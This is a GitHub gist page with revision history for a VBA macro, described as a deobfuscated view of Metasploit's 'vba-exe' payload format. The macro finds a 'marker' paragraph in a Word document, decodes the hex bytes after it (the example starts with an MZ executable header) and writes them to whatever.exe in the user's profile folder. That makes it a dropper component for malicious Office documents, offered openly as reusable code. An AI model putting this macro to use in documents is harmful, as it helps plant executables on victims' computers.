Skip to content

Instantly share code, notes, and snippets.

@BeyondCy

BeyondCy/officeEmbeddedFileDecode.vba

Forked from Arno0x/officeEmbeddedFileDecode.vba
Created February 13, 2018 08:00
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save BeyondCy/87580726ea3fd64e625b41be7fdb829c to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save BeyondCy/87580726ea3fd64e625b41be7fdb829c to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @Arno0x Arno0x revised this gist Feb 16, 2017. 1 changed file with 2 additions and 0 deletions.
    2 changes: 2 additions & 0 deletions officeEmbeddedFileDecode.vba
    View file
    Original file line number Diff line number Diff line change
    @@ -1,3 +1,5 @@
    ' This is a deobfuscated view of the 'vba-exe' output format of metasploit payload
    '
    ' This macro searches for a marker paragraph, namely "marker" in the example below
    ' and then loads all paragraphs coming next, as a sequence of bytes, then saves it to
    ' a local file.
  2. @Arno0x Arno0x created this gist Feb 13, 2017.
    36 changes: 36 additions & 0 deletions officeEmbeddedFileDecode.vba
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,36 @@
    ' This macro searches for a marker paragraph, namely "marker" in the example below
    ' and then loads all paragraphs coming next, as a sequence of bytes, then saves it to
    ' a local file.
    '
    ' Example, in the word document:
    ' marker
    ' &H4d&H5a&H90&H00&H03&H00&H00&H00&H04&H00&H00&H00 ....

    Sub DecodeAndSaveEmbeddedFile()
    Dim p As Paragraph
    Dim Text As String
    Dim MarkerFound As Boolean
    Dim Counter As Integer
    Dim FileHandle As Integer
    Dim b As Byte
    Dim UserProfile As String

    UserProfile = Environ("USERPROFILE")
    FileHandle = FreeFile()
    Open UserProfile + "\whatever.exe" For Binary As FileHandle
    For Each p In ActiveDocument.Paragraphs
    DoEvents
    Text = p.Range.Text
    If (MarkerFound = True) Then
    Counter = 1
    While (Counter < Len(Text))
    b = Mid(Text, Counter, 4)
    Put #FileHandle, , b
    Counter = Counter + 4
    Wend
    ElseIf (InStr(1, Text, "marker") > 0 And Len(Text) > 0) Then
    MarkerFound = True
    End If
    Next
    Close #FileHandle
    End Sub